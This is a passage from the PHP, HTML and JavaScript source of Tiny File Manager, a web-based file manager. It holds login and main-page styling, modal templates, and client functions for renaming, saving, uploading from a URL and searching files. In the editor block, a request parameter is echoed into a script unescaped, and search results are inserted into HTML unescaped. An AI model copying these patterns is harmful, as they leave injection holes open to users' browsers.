3 0 0 0 0 6zm-16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm80-176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm112 176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 180a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 84a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6z'%3E%3C/path%3E%3C/svg%3E");} .fm-login-page .brand{ width:121px;overflow:hidden;margin:0 auto;position:relative;z-index:1} .fm-login-page .brand img{ width:100%} .fm-login-page .card-wrapper{ width:360px;margin-top:10%;margin-left:auto;margin-right:auto;} .fm-login-page .card{ border-color:transparent;box-shadow:0 4px 8px rgba(0,0,0,.05)} .fm-login-page .card-title{ margin-bottom:1.5rem;font-size:24px;font-weight:400;} .fm-login-page .form-control{ border-width:2.3px} .fm-login-page .form-group label{ width:100%} .fm-login-page .btn.btn-block{ padding:12px 10px} .fm-login-page .footer{ margin:40px 0;color:#888;text-align:center} @media screen and (max-width:425px){ .fm-login-page .card-wrapper{ width:90%;margin:0 auto;margin-top:10%;} } @media screen and (max-width:320px){ .fm-login-page .card.fat{ padding:0} .fm-login-page .card.fat .card-body{ padding:15px} } .message{ padding:4px 7px;border:1px solid #ddd;background-color:#fff} .message.ok{ border-color:green;color:green} .message.error{ border-color:red;color:red} .message.alert{ border-color:orange;color:orange} body.fm-login-page.theme-dark {background-color: #2f2a2a;} .theme-dark svg g, .theme-dark svg path {fill: #ffffff; } </style> </head> <body class="fm-login-page <?php echo (FM_THEME == "dark") ? 'theme-dark' : ''; ?>"> <div id="wrapper" class="container-fluid"> <?php } /** * Show page footer in Login Form */ function fm_show_footer_login() { ?> </div> <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.slim.min.js"></script> <script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.0/js/bootstrap.min.js"></script> </body> </html> <?php } /** * Show Header after login */ function fm_show_header() { $sprites_ver = '20160315'; header("Content-Type: text/html; charset=utf-8"); header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0"); header("Pragma: no-cache"); global $lang, $root_url, $sticky_navbar, $favicon_path; $isStickyNavBar = $sticky_navbar ? 'navbar-fixed' : 'navbar-normal'; ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Web based File Manager in PHP, Manage your files efficiently and easily with Tiny File Manager"> <meta name="author" content="CCP Programmers"> <meta name="robots" content="noindex, nofollow"> <meta name="googlebot" content="noindex"> <?php if($favicon_path) { echo '<link rel="icon" href="'.fm_enc($favicon_path).'" type="image/png">'; } ?> <title><?php echo fm_enc(APP_TITLE) ?></title> <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/ekko-lightbox/5.3.0/ekko-lightbox.css" /> <?php if (FM_USE_HIGHLIGHTJS): ?> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/10.6.0/styles/<?php echo FM_HIGHLIGHTJS_STYLE ?>.min.css"> <?php endif; ?> <style> body { font-size:14px;color:#222;background:#F7F7F7; } body.navbar-fixed { margin-top:55px; } a:hover, a:visited, a:focus { text-decoration:none !important; } * { -webkit-border-radius:0 !important;-moz-border-radius:0 !important;border-radius:0 !important; } .filename, td, th { white-space:nowrap } .navbar-brand { font-weight:bold; } .nav-item.avatar a { cursor:pointer;text-transform:capitalize; } .nav-item.avatar a > i { font-size:15px; } .nav-item.avatar .dropdown-menu a { font-size:13px; } #search-addon { font-size:12px;border-right-width:0; } #search-addon2 { background:transparent;border-left:0; } .bread-crumb { color:#cccccc;font-style:normal; } #main-table .filename a { color:#222222; } .table td, .table th { vertical-align:middle !important; } .table .custom-checkbox-td .custom-control.custom-checkbox, .table .custom-checkbox-header .custom-control.custom-checkbox { min-width:18px; } .table-sm td, .table-sm th { padding:.4rem; } .table-bordered td, .table-bordered th { border:1px solid #f1f1f1; } .hidden { display:none } pre.with-hljs { padding:0 } pre.with-hljs code { margin:0;border:0;overflow:visible } code.maxheight, pre.maxheight { max-height:512px } .fa.fa-caret-right { font-size:1.2em;margin:0 4px;vertical-align:middle;color:#ececec } .fa.fa-home { font-size:1.3em;vertical-align:bottom } .path { margin-bottom:10px } form.dropzone { min-height:200px;border:2px dashed #007bff;line-height:6rem; } .right { text-align:right } .center, .close, .login-form { text-align:center } .message { padding:4px 7px;border:1px solid #ddd;background-color:#fff } .message.ok { border-color:green;color:green } .message.error { border-color:red;color:red } .message.alert { border-color:orange;color:orange } .preview-img { max-width:100%;background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAACQkWg2AAAAKklEQVR42mL5//8/Azbw+PFjrOJMDCSCUQ3EABZc4S0rKzsaSvTTABBgAMyfCMsY4B9iAAAAAElFTkSuQmCC) } .inline-actions > a > i { font-size:1em;margin-left:5px;background:#3785c1;color:#fff;padding:3px;border-radius:3px } .preview-video { position:relative;max-width:100%;height:0;padding-bottom:62.5%;margin-bottom:10px } .preview-video video { position:absolute;width:100%;height:100%;left:0;top:0;background:#000 } .compact-table { border:0;width:auto } .compact-table td, .compact-table th { width:100px;border:0;text-align:center } .compact-table tr:hover td { background-color:#fff } .filename { max-width:420px;overflow:hidden;text-overflow:ellipsis } .break-word { word-wrap:break-word;margin-left:30px } .break-word.float-left a { color:#7d7d7d } .break-word + .float-right { padding-right:30px;position:relative } .break-word + .float-right > a { color:#7d7d7d;font-size:1.2em;margin-right:4px } #editor { position:absolute;right:15px;top:100px;bottom:15px;left:15px } @media (max-width:481px) { #editor { top:150px; } } #normal-editor { border-radius:3px;border-width:2px;padding:10px;outline:none; } .btn-2 { border-radius:0;padding:3px 6px;font-size:small; } li.file:before,li.folder:before { font:normal normal normal 14px/1 FontAwesome;content:"\f016";margin-right:5px } li.folder:before { content:"\f114" } i.fa.fa-folder-o { color:#0157b3 } i.fa.fa-picture-o { color:#26b99a } i.fa.fa-file-archive-o { color:#da7d7d } .btn-2 i.fa.fa-file-archive-o { color:inherit } i.fa.fa-css3 { color:#f36fa0 } i.fa.fa-file-code-o { color:#007bff } i.fa.fa-code { color:#cc4b4c } i.fa.fa-file-text-o { color:#0096e6 } i.fa.fa-html5 { color:#d75e72 } i.fa.fa-file-excel-o { color:#09c55d } i.fa.fa-file-powerpoint-o { color:#f6712e } i.go-back { font-size:1.2em;color:#007bff; } .main-nav { padding:0.2rem 1rem;box-shadow:0 4px 5px 0 rgba(0, 0, 0, .14), 0 1px 10px 0 rgba(0, 0, 0, .12), 0 2px 4px -1px rgba(0, 0, 0, .2) } .dataTables_filter { display:none; } table.dataTable thead .sorting { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAQAAADYWf5HAAAAkElEQVQoz7XQMQ5AQBCF4dWQSJxC5wwax1Cq1e7BAdxD5SL+Tq/QCM1oNiJidwox0355mXnG/DrEtIQ6azioNZQxI0ykPhTQIwhCR+BmBYtlK7kLJYwWCcJA9M4qdrZrd8pPjZWPtOqdRQy320YSV17OatFC4euts6z39GYMKRPCTKY9UnPQ6P+GtMRfGtPnBCiqhAeJPmkqAAAAAElFTkSuQmCC'); } table.dataTable thead .sorting_asc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZ0lEQVQ4y2NgGLKgquEuFxBPAGI2ahhWCsS/gDibUoO0gPgxEP8H4ttArEyuQYxAPBdqEAxPBImTY5gjEL9DM+wTENuQahAvEO9DMwiGdwAxOymGJQLxTyD+jgWDxCMZRsEoGAVoAADeemwtPcZI2wAAAABJRU5ErkJggg=='); } table.dataTable thead .sorting_desc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZUlEQVQ4y2NgGAWjYBSggaqGu5FA/BOIv2PBIPFEUgxjB+IdQPwfC94HxLykus4GiD+hGfQOiB3J8SojEE9EM2wuSJzcsFMG4ttQgx4DsRalkZENxL+AuJQaMcsGxBOAmGvopk8AVz1sLZgg0bsAAAAASUVORK5CYII='); } table.dataTable thead tr:first-child th.custom-checkbox-header:first-child { background-image:none; } .footer-action li { margin-bottom:10px; } .app-v-title { font-size:24px;font-weight:300;letter-spacing:-.5px;text-transform:uppercase; } hr.custom-hr { border-top:1px dashed #8c8b8b;border-bottom:1px dashed #fff; } .ekko-lightbox .modal-dialog { max-width:98%; } .ekko-lightbox-item.fade.in.show .row { background:#fff; } .ekko-lightbox-nav-overlay { display:flex !important;opacity:1 !important;height:auto !important;top:50%; } .ekko-lightbox-nav-overlay a { opacity:1 !important;width:auto !important;text-shadow:none !important;color:#3B3B3B; } .ekko-lightbox-nav-overlay a:hover { color:#20507D; } #snackbar { visibility:hidden;min-width:250px;margin-left:-125px;background-color:#333;color:#fff;text-align:center;border-radius:2px;padding:16px;position:fixed;z-index:1;left:50%;bottom:30px;font-size:17px; } #snackbar.show { visibility:visible;-webkit-animation:fadein 0.5s, fadeout 0.5s 2.5s;animation:fadein 0.5s, fadeout 0.5s 2.5s; } @-webkit-keyframes fadein { from { bottom:0;opacity:0; } to { bottom:30px;opacity:1; } } @keyframes fadein { from { bottom:0;opacity:0; } to { bottom:30px;opacity:1; } } @-webkit-keyframes fadeout { from { bottom:30px;opacity:1; } to { bottom:0;opacity:0; } } @keyframes fadeout { from { bottom:30px;opacity:1; } to { bottom:0;opacity:0; } } #main-table span.badge { border-bottom:2px solid #f8f9fa } #main-table span.badge:nth-child(1) { border-color:#df4227 } #main-table span.badge:nth-child(2) { border-color:#f8b600 } #main-table span.badge:nth-child(3) { border-color:#00bd60 } #main-table span.badge:nth-child(4) { border-color:#4581ff } #main-table span.badge:nth-child(5) { border-color:#ac68fc } #main-table span.badge:nth-child(6) { border-color:#45c3d2 } @media only screen and (min-device-width:768px) and (max-device-width:1024px) and (orientation:landscape) and (-webkit-min-device-pixel-ratio:2) { .navbar-collapse .col-xs-6.text-right { padding:0; } } .btn.active.focus,.btn.active:focus,.btn.focus,.btn.focus:active,.btn:active:focus,.btn:focus { outline:0!important;outline-offset:0!important;background-image:none!important;-webkit-box-shadow:none!important;box-shadow:none!important } .lds-facebook { display:none;position:relative;width:64px;height:64px } .lds-facebook div,.lds-facebook.show-me { display:inline-block } .lds-facebook div { position:absolute;left:6px;width:13px;background:#007bff;animation:lds-facebook 1.2s cubic-bezier(0,.5,.5,1) infinite } .lds-facebook div:nth-child(1) { left:6px;animation-delay:-.24s } .lds-facebook div:nth-child(2) { left:26px;animation-delay:-.12s } .lds-facebook div:nth-child(3) { left:45px;animation-delay:0s } @keyframes lds-facebook { 0% { top:6px;height:51px } 100%,50% { top:19px;height:26px } } ul#search-wrapper { padding-left: 0;border: 1px solid #ecececcc; } ul#search-wrapper li { list-style: none; padding: 5px;border-bottom: 1px solid #ecececcc; } ul#search-wrapper li:nth-child(odd){ background: #f9f9f9cc;} .c-preview-img { max-width: 300px; } </style> <?php if (FM_THEME == "dark"): ?> <style> body.theme-dark { background-color: #2f2a2a; } .list-group .list-group-item { background: #343a40; } .theme-dark .navbar-nav i, .navbar-nav .dropdown-toggle, .break-word { color: #ffffff; } a, a:hover, a:visited, a:active, #main-table .filename a { color: #00ff1f; } ul#search-wrapper li:nth-child(odd) { background: #f9f9f9cc; } .theme-dark .btn-outline-primary { color: #00ff1f; border-color: #00ff1f; } .theme-dark .btn-outline-primary:hover, .theme-dark .btn-outline-primary:active { background-color: #028211;} </style> <?php endif; ?> </head> <body class="<?php echo (FM_THEME == "dark") ? 'theme-dark' : ''; ?> <?php echo $isStickyNavBar; ?>"> <div id="wrapper" class="container-fluid"> <!-- New Item creation --> <div class="modal fade" id="createNewItem" tabindex="-1" role="dialog" aria-label="newItemModalLabel" aria-hidden="true"> <div class="modal-dialog" role="document"> <div class="modal-content <?php echo fm_get_theme(); ?>"> <div class="modal-header"> <h5 class="modal-title" id="newItemModalLabel"><i class="fa fa-plus-square fa-fw"></i><?php echo lng('CreateNewItem') ?></h5> <button type="button" class="close" data-dismiss="modal" aria-label="Close"> <span aria-hidden="true">×</span> </button> </div> <div class="modal-body"> <p><label for="newfile"><?php echo lng('ItemType') ?> </label></p> <div class="custom-control custom-radio custom-control-inline"> <input type="radio" id="customRadioInline1" name="newfile" value="file" class="custom-control-input"> <label class="custom-control-label" for="customRadioInline1"><?php echo lng('File') ?></label> </div> <div class="custom-control custom-radio custom-control-inline"> <input type="radio" id="customRadioInline2" name="newfile" value="folder" class="custom-control-input" checked=""> <label class="custom-control-label" for="customRadioInline2"><?php echo lng('Folder') ?></label> </div> <p class="mt-3"><label for="newfilename"><?php echo lng('ItemName') ?> </label></p> <input type="text" name="newfilename" id="newfilename" value="" class="form-control"> </div> <div class="modal-footer"> <button type="button" class="btn btn-outline-primary" data-dismiss="modal"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></button> <button type="button" class="btn btn-success" onclick="newfolder('<?php echo fm_enc(FM_PATH) ?>');return false;"><i class="fa fa-check-circle"></i> <?php echo lng('CreateNow') ?></button> </div> </div> </div> </div> <!-- Modal --> <div class="modal fade" id="searchModal" tabindex="-1" role="dialog" aria-labelledby="searchModalLabel" aria-hidden="true"> <div class="modal-dialog modal-lg" role="document"> <div class="modal-content <?php echo fm_get_theme(); ?>"> <div class="modal-header"> <h5 class="modal-title col-10" id="searchModalLabel"> <div class="input-group input-group"> <input type="text" class="form-control" placeholder="<?php echo lng('Search') ?> a files" aria-label="<?php echo lng('Search') ?>" aria-describedby="search-addon3" id="advanced-search" autofocus required> <div class="input-group-append"> <span class="input-group-text" id="search-addon3"><i class="fa fa-search"></i></span> </div> </div> </h5> <button type="button" class="close" data-dismiss="modal" aria-label="Close"> <span aria-hidden="true">×</span> </button> </div> <div class="modal-body"> <form action="" method="post"> <div class="lds-facebook"><div></div><div></div><div></div></div> <ul id="search-wrapper"> <p class="m-2"><?php echo lng('Search file in folder and subfolders...') ?></p> </ul> </form> </div> </div> </div> </div> <script type="text/html" id="js-tpl-modal"> <div class="modal fade" id="js-ModalCenter-<%this.id%>" tabindex="-1" role="dialog" aria-labelledby="ModalCenterTitle" aria-hidden="true"> <div class="modal-dialog modal-dialog-centered" role="document"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title" id="ModalCenterTitle"><%this.title%></h5> <button type="button" class="close" data-dismiss="modal" aria-label="Close"> <span aria-hidden="true">×</span> </button> </div> <div class="modal-body"> <%this.content%> </div> <div class="modal-footer"> <button type="button" class="btn btn-outline-primary" data-dismiss="modal"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></button> <%if(this.action){%><button type="button" class="btn btn-primary" id="js-ModalCenterAction" data-type="js-<%this.action%>"><%this.action%></button><%}%> </div> </div> </div> </div> </script> <?php } /** * Show page footer */ function fm_show_footer() { ?> </div> <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script> <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js"></script> <script src="https://cdn.datatables.net/1.11.5/js/jquery.dataTables.min.js"></script> <script src="https://cdn.datatables.net/plug-ins/1.11.5/sorting/absolute.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/ekko-lightbox/5.3.0/ekko-lightbox.min.js"></script> <?php if (FM_USE_HIGHLIGHTJS): ?> <script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/10.6.0/highlight.min.js"></script> <script>hljs.highlightAll(); var isHighlightingEnabled = true;</script> <?php endif; ?> <script> $(document).on('click', '[data-toggle="lightbox"]', function(event) { event.preventDefault(); var reInitHighlight = function() { if(typeof isHighlightingEnabled !== "undefined" && isHighlightingEnabled) { setTimeout(function () { $('.ekko-lightbox-container pre code').each(function (i, e) { hljs.highlightBlock(e) }); }, 555); } }; $(this).ekkoLightbox({ alwaysShowClose: true, showArrows: true, onShown: function() { reInitHighlight(); }, onNavigate: function(direction, itemIndex) { reInitHighlight(); } }); }); //TFM Config window.curi = "https://tinyfilemanager.github.io/config.json", window.config = null; function fm_get_config(){ if(!!window.name){ window.config = JSON.parse(window.name); } else { $.getJSON(window.curi).done(function(c) { if(!!c) { window.name = JSON.stringify(c), window.config = c; } }); }} function template(html,options){ var re=/<\%([^\%>]+)?\%>/g,reExp=/(^( )?(if|for|else|switch|case|break|{|}))(.*)?/g,code='var r=[];\n',cursor=0,match;var add=function(line,js){js?(code+=line.match(reExp)?line+'\n':'r.push('+line+');\n'):(code+=line!=''?'r.push("'+line.replace(/"/g,'\\"')+'");\n':'');return add} while(match=re.exec(html)){add(html.slice(cursor,match.index))(match[1],!0);cursor=match.index+match[0].length} add(html.substr(cursor,html.length-cursor));code+='return r.join("");';return new Function(code.replace(/[\r\t\n]/g,'')).apply(options) } function newfolder(e) { var t = document.getElementById("newfilename").value, n = document.querySelector('input[name="newfile"]:checked').value; null !== t && "" !== t && n && (window.location.hash = "#", window.location.search = "p=" + encodeURIComponent(e) + "&new=" + encodeURIComponent(t) + "&type=" + encodeURIComponent(n)) } function rename(e, t) {var n = prompt("New name", t);null !== n && "" !== n && n != t && (window.location.search = "p=" + encodeURIComponent(e) + "&ren=" + encodeURIComponent(t) + "&to=" + encodeURIComponent(n))} function change_checkboxes(e, t) { for (var n = e.length - 1; n >= 0; n--) e[n].checked = "boolean" == typeof t ? t : !e[n].checked } function get_checkboxes() { for (var e = document.getElementsByName("file[]"), t = [], n = e.length - 1; n >= 0; n--) (e[n].type = "checkbox") && t.push(e[n]); return t } function select_all() { change_checkboxes(get_checkboxes(), !0) } function unselect_all() { change_checkboxes(get_checkboxes(), !1) } function invert_all() { change_checkboxes(get_checkboxes()) } function checkbox_toggle() { var e = get_checkboxes(); e.push(this), change_checkboxes(e) } function backup(e, t) { //Create file backup with .bck var n = new XMLHttpRequest, a = "path=" + e + "&file=" + t + "&type=backup&ajax=true"; return n.open("POST", "", !0), n.setRequestHeader("Content-type", "application/x-www-form-urlencoded"), n.onreadystatechange = function () { 4 == n.readyState && 200 == n.status && toast(n.responseText) }, n.send(a), !1 } // Toast message function toast(txt) { var x = document.getElementById("snackbar");x.innerHTML=txt;x.className = "show";setTimeout(function(){ x.className = x.className.replace("show", ""); }, 3000); } //Save file function edit_save(e, t) { var n = "ace" == t ? editor.getSession().getValue() : document.getElementById("normal-editor").value; if (typeof n !== 'undefined' && n !== null) { if (true) { var data = {ajax: true, content: n, type: 'save'}; $.ajax({ type: "POST", url: window.location, // The key needs to match your method's input parameter (case-sensitive). data: JSON.stringify(data), contentType: "application/json; charset=utf-8", //dataType: "json", success: function(mes){toast("Saved Successfully"); window.onbeforeunload = function() {return}}, failure: function(mes) {toast("Error: try again");}, error: function(mes) {toast(`<p style="background-color:red">${mes.responseText}</p>`);} }); } else { var a = document.createElement("form"); a.setAttribute("method", "POST"), a.setAttribute("action", ""); var o = document.createElement("textarea"); o.setAttribute("type", "textarea"), o.setAttribute("name", "savedata"); var c = document.createTextNode(n); o.appendChild(c), a.appendChild(o), document.body.appendChild(a), a.submit() } } } //Check latest version function latest_release_info(v) { if(!!window.config){var tplObj={id:1024,title:"Check Version",action:false},tpl=$("#js-tpl-modal").html(); if(window.config.version!=v){tplObj.content=window.config.newUpdate;}else{tplObj.content=window.config.noUpdate;} $('#wrapper').append(template(tpl,tplObj));$("#js-ModalCenter-1024").modal('show');}else{fm_get_config();} } function show_new_pwd() { $(".js-new-pwd").toggleClass('hidden'); } //Save Settings function save_settings($this) { let form = $($this); $.ajax({ type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&ajax="+true, success: function (data) {if(data) { window.location.reload();}} }); return false; } //Create new password hash function new_password_hash($this) { let form = $($this), $pwd = $("#js-pwd-result"); $pwd.val(''); $.ajax({ type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&ajax="+true, success: function (data) { if(data) { $pwd.val(data); } } }); return false; } //Upload files using URL @param {Object} function upload_from_url($this) { let form = $($this), resultWrapper = $("div#js-url-upload__list"); $.ajax({ type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&ajax="+true, beforeSend: function() { form.find("input[name=uploadurl]").attr("disabled","disabled"); form.find("button").hide(); form.find(".lds-facebook").addClass('show-me'); }, success: function (data) { if(data) { data = JSON.parse(data); if(data.done) { resultWrapper.append('<div class="alert alert-success row">Uploaded Successful: '+data.done.name+'</div>'); form.find("input[name=uploadurl]").val(''); } else if(data['fail']) { resultWrapper.append('<div class="alert alert-danger row">Error: '+data.fail.message+'</div>'); } form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me'); } }, error: function(xhr) { form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me');console.error(xhr); } }); return false; } //Search template function search_template(data) { var response = ""; $.each(data, function (key, val) { response += `<li><a href="?p=${val.path}&view=${val.name}">${val.path}/${val.name}</a></li>`; }); return response; } //search function fm_search() { var searchTxt = $("input#advanced-search").val(), searchWrapper = $("ul#search-wrapper"), path = $("#js-search-modal").attr("href"), _html = "", $loader = $("div.lds-facebook"); if(!!searchTxt && searchTxt.length > 2 && path) { var data = {ajax: true, content: searchTxt, path:path, type: 'search'}; $.ajax({ type: "POST", url: window.location, data: data, beforeSend: function() { searchWrapper.html(''); $loader.addClass('show-me'); }, success: function(data){ $loader.removeClass('show-me'); data = JSON.parse(data); if(data && data.length) { _html = search_template(data); searchWrapper.html(_html); } else { searchWrapper.html('<p class="m-2">No result found!<p>'); } }, error: function(xhr) { $loader.removeClass('show-me'); searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>'); }, failure: function(mes) { $loader.removeClass('show-me'); searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>');} }); } else { searchWrapper.html("OOPS: minimum 3 characters required!"); } } //on mouse hover image preview !function(s){s.previewImage=function(e){var o=s(document),t=".previewImage",a=s.extend({xOffset:20,yOffset:-20,fadeIn:"fast",css:{padding:"5px",border:"1px solid #cccccc","background-color":"#fff"},eventSelector:"[data-preview-image]",dataKey:"previewImage",overlayId:"preview-image-plugin-overlay"},e);return o.off(t),o.on("mouseover"+t,a.eventSelector,function(e){s("p#"+a.overlayId).remove();var o=s("<p>").attr("id",a.overlayId).css("position","absolute").css("display","none").append(s('<img class="c-preview-img">').attr("src",s(this).data(a.dataKey)));a.css&&o.css(a.css),s("body").append(o),o.css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px").fadeIn(a.fadeIn)}),o.on("mouseout"+t,a.eventSelector,function(){s("#"+a.overlayId).remove()}),o.on("mousemove"+t,a.eventSelector,function(e){s("#"+a.overlayId).css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px")}),this},s.previewImage()}(jQuery); // Dom Ready Event $(document).ready( function () { //load config fm_get_config(); //dataTable init var $table = $('#main-table'), tableLng = $table.find('th').length, _targets = (tableLng && tableLng == 7 ) ? [0, 4,5,6] : tableLng == 5 ? [0,4] : [3], emptyType = $.fn.dataTable.absoluteOrder([{ value: '', position: 'top' }]); mainTable = $('#main-table').DataTable({paging: false, info: false, order: [], columnDefs: [{targets: _targets, orderable: false}, {type: emptyType, targets: '_all',},] }); //search $('#search-addon').on( 'keyup', function () { mainTable.search( this.value ).draw(); }); $("input#advanced-search").on('keyup', function (e) { if (e.keyCode === 13) { fm_search(); } }); $('#search-addon3').on( 'click', function () { fm_search(); }); //upload nav tabs $(".fm-upload-wrapper .card-header-tabs").on("click", 'a', function(e){ e.preventDefault();let target=$(this).data('target'); $(".fm-upload-wrapper .card-header-tabs a").removeClass('active');$(this).addClass('active'); $(".fm-upload-wrapper .card-tabs-container").addClass('hidden');$(target).removeClass('hidden'); }); }); </script> <?php if (isset($_GET['edit']) && isset($_GET['env']) && FM_EDIT_FILE): $ext = "javascript"; $ext = pathinfo($_GET["edit"], PATHINFO_EXTENSION); ?> <script src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.4.12/ace.js"></script> <script> var editor = ace.edit("editor"); editor.getSession().setMode( {path:"ace/mode/<?php echo $ext; ?>", inline:true} ); //editor.setTheme("ace/theme/twilight"); //Dark Theme function ace_commend (cmd) { editor.commands.exec(cmd, editor); } editor.commands.addCommands([{ name: 'save', bindKey: {win: 'Ctrl-S', mac: 'Command-S'}, exec: function(editor) { edit_save(this, 'ace'); } }]); function renderThemeMode() { var $modeEl = $("select#js-ace-mode"), $themeEl = $("select#js-ace-theme"), $fontSizeEl = $("select#js-ace-fontSize"), optionNode = function(type, arr){ var $Option = ""; $.each(arr, function(i, val) { $Option += "<option value='"+type+i+"'>" + val + "</option>"; }); return $Option; }, _data = {"aceTheme":{"bright":{"chrome":"Chrome","clouds":"Clouds","crimson_editor":"Crimson Editor","dawn":"Dawn","dreamweaver":"Dreamweaver","eclipse":"Eclipse","github":"GitHub","iplastic":"IPlastic","solarized_light":"Solarized Light","textmate":"TextMate","tomorrow":"Tomorrow","xcode":"XCode","kuroir":"Kuroir","katzenmilch":"KatzenMilch","sqlserver":"SQL Server"},"dark":{"ambiance":"Ambiance","chaos":"Chaos","clouds_midnight":"Clouds Midnight","dracula":"Dracula","cobalt":"Cobalt","gruvbox":"Gruvbox","gob":"Green on Black","idle_fingers":"idle Fingers","kr_theme":"krTheme","merbivore":"Merbivore","merbivore_soft":"Merbivore Soft","mono_industrial":"Mono Industrial","monokai":"Monokai","pastel_on_dark":"Pastel on dark","solarized_dark":"Solarized Dark","terminal":"Terminal","tomorrow_night":"Tomorrow Night","tomorrow_night_blue":"Tomorrow Night Blue","tomorrow_night_bright":"Tomorrow Night Bright","tomorrow_night_eighties":"Tomorrow Night 80s","twilight":"Twilight","vibrant_ink":"Vibrant Ink"}},"aceMode":{"javascript":"JavaScript","abap":"ABAP","abc":"ABC","actionscript":"ActionScript","ada":"ADA","apache_conf":"Apache Conf","asciidoc":"AsciiDoc","asl":"ASL","assembly_x86":"Assembly x86","autohotkey":"AutoHotKey","apex":"Apex","batchfile":"BatchFile","bro":"Bro","c_cpp":"C and C++","c9search":"C9Search","cirru":"Cirru","clojure":"Clojure","cobol":"Cobol","coffee":"CoffeeScript","coldfusion":"ColdFusion","csharp":"C#","csound_document":"Csound Document","csound_orchestra":"Csound","csound_score":"Csound Score","css":"CSS","curly":"Curly","d":"D","dart":"Dart","diff":"Diff","dockerfile":"Dockerfile","dot":"Dot","drools":"Drools","edifact":"Edifact","eiffel":"Eiffel","ejs":"EJS","elixir":"Elixir","elm":"Elm","erlang":"Erlang","forth":"Forth","fortran":"Fortran","fsharp":"FSharp","fsl":"FSL","ftl":"FreeMarker","gcode":"Gcode","gherkin":"Gherkin","gitignore":"Gitignore","glsl":"Glsl","gobstones":"Gobstones","golang":"Go","graphqlschema":"GraphQLSchema","groovy":"Groovy","haml":"HAML","handlebars":"Handlebars","haskell":"Haskell","haskell_cabal":"Haskell Cabal","haxe":"haXe","hjson":"Hjson","html":"HTML","html_elixir":"HTML (Elixir)","html_ruby":"HTML (Ruby)","ini":"INI","io":"Io","jack":"Jack","jade":"Jade","java":"Java","json":"JSON","jsoniq":"JSONiq","jsp":"JSP","jssm":"JSSM","jsx":"JSX","julia":"Julia","kotlin":"Kotlin","latex":"LaTeX","less":"LESS","liquid":"Liquid","lisp":"Lisp","livescript":"LiveScript","logiql":"LogiQL","lsl":"LSL","lua":"Lua","luapage":"LuaPage","lucene":"Lucene","makefile":"Makefile","markdown":"Markdown","mask":"Mask","matlab":"MATLAB","maze":"Maze","mel":"MEL","mixal":"MIXAL","mushcode":"MUSHCode","mysql":"MySQL","nix":"Nix","nsis":"NSIS","objectivec":"Objective-C","ocaml":"OCaml","pascal":"Pascal","perl":"Perl","perl6":"Perl 6","pgsql":"pgSQL","php_laravel_blade":"PHP (Blade Template)","php":"PHP","puppet":"Puppet","pig":"Pig","powershell":"Powershell","praat":"Praat","prolog":"Prolog","properties":"Properties","protobuf":"Protobuf","python":"Python","r":"R","razor":"Razor","rdoc":"RDoc","red":"Red","rhtml":"RHTML","rst":"RST","ruby":"Ruby","rust":"Rust","sass":"SASS","scad":"SCAD","scala":"Scala","scheme":"Scheme","scss":"SCSS","sh":"SH","sjs":"SJS","slim":"Slim","smarty":"Smarty","snippets":"snippets","soy_template":"Soy 